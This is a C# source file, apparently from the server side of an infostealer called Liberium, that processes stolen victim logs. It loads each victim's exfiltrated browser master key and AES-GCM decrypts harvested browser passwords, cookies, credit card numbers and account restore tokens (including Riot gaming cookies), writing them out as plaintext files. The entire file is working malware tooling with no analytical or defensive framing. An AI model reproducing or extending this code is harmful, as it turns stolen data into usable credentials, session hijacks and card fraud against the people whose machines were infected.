Files
Liberium-1.8-Source-Code/Server.Messages/DecryptorBrowsers.cs
T
2026-08-27 11:21:58 -06:00

164 lines
4.9 KiB
C#

using System;
using System.IO;
using System.Text;
using Leb128;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
namespace Server.Messages;
internal class DecryptorBrowsers
{
private const int macBitSize = 128;
private const int nonceBitSize = 96;
public static void Start(string log)
{
if (Directory.Exists(Path.Combine(log, "Browsers")))
{
string[] directories = Directory.GetDirectories(Path.Combine(log, "Browsers"));
foreach (string text in directories)
{
string path = Path.Combine(text, "MasterKey.bin");
if (File.Exists(path))
{
byte[] key = File.ReadAllBytes(path);
string[] directories2 = Directory.GetDirectories(text);
foreach (string profile in directories2)
{
DecryptPassword(profile, key);
DecryptCookie(profile, key);
DecryptCreditCard(profile, key);
DecryptTokenRestore(profile, key);
}
File.Delete(path);
}
}
}
if (Directory.Exists(Path.Combine(log, "Gaming", "Riot")))
{
string path2 = Path.Combine(log, "Gaming", "Riot", "MasterKey.bin");
if (File.Exists(path2))
{
byte[] key2 = File.ReadAllBytes(path2);
DecryptCookie(Path.Combine(log, "Gaming", "Riot"), key2);
}
}
}
public static void DecryptPassword(string profile, byte[] key)
{
string path = Path.Combine(profile, "EncryptPassword.bin");
if (!File.Exists(path))
{
return;
}
object[] array = LEB128.Read(File.ReadAllBytes(path));
foreach (object obj in array)
{
try
{
object[] array2 = (object[])obj;
if (!string.IsNullOrEmpty((string)array2[0]) && !string.IsNullOrEmpty((string)array2[1]))
{
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[2], key));
File.AppendAllText(Path.Combine(profile, "Password.txt"), "Host: " + (string)array2[0] + "\nUsername: " + (string)array2[1] + "\nPassword: " + @string + "\n\n");
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
File.Delete(path);
}
public static void DecryptCookie(string profile, byte[] key)
{
string path = Path.Combine(profile, "EncryptCookie.bin");
if (!File.Exists(path))
{
return;
}
object[] array = LEB128.Read(File.ReadAllBytes(path));
foreach (object obj in array)
{
try
{
object[] array2 = (object[])obj;
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[4], key));
File.AppendAllText(Path.Combine(profile, "Cookie.txt"), (string)array2[0] + "\tTRUE\t" + (string)array2[1] + "\tFALSE\t" + (string)array2[2] + "\t" + (string)array2[3] + "\t" + @string + "\r\n");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
File.Delete(path);
}
public static void DecryptCreditCard(string profile, byte[] key)
{
string path = Path.Combine(profile, "EncryptCreditCard.bin");
if (!File.Exists(path))
{
return;
}
object[] array = LEB128.Read(File.ReadAllBytes(path));
foreach (object obj in array)
{
try
{
object[] array2 = (object[])obj;
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[0], key));
File.AppendAllText(Path.Combine(profile, "CreditCard.txt"), "Number: " + @string + "\nExp: " + (string)array2[1] + "/" + (string)array2[2] + "\nHolder: " + (string)array2[3] + "\n\n");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
File.Delete(path);
}
public static void DecryptTokenRestore(string profile, byte[] key)
{
string path = Path.Combine(profile, "EncryptTokenRestore.bin");
if (!File.Exists(path))
{
return;
}
object[] array = LEB128.Read(File.ReadAllBytes(path));
foreach (object obj in array)
{
try
{
object[] array2 = (object[])obj;
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[1], key));
File.AppendAllText(Path.Combine(profile, "TokenRestore.txt"), "AccountId: " + (string)array2[0] + "\nToken: " + @string + "\n\n");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
File.Delete(path);
}
public static byte[] DecryptValue(byte[] encryptedData, byte[] bMasterKey)
{
GcmBlockCipher gcmBlockCipher = new GcmBlockCipher(new AesEngine());
BinaryReader binaryReader = new BinaryReader(new MemoryStream(encryptedData));
binaryReader.ReadBytes(3);
AeadParameters parameters = new AeadParameters(nonce: binaryReader.ReadBytes(12), key: new KeyParameter(bMasterKey), macSize: 128);
gcmBlockCipher.Init(forEncryption: false, parameters);
byte[] array = binaryReader.ReadBytes(encryptedData.Length);
byte[] array2 = new byte[gcmBlockCipher.GetOutputSize(array.Length)];
int outOff = gcmBlockCipher.ProcessBytes(array, 0, array.Length, array2, 0);
gcmBlockCipher.DoFinal(array2, outOff);
return array2;
}
}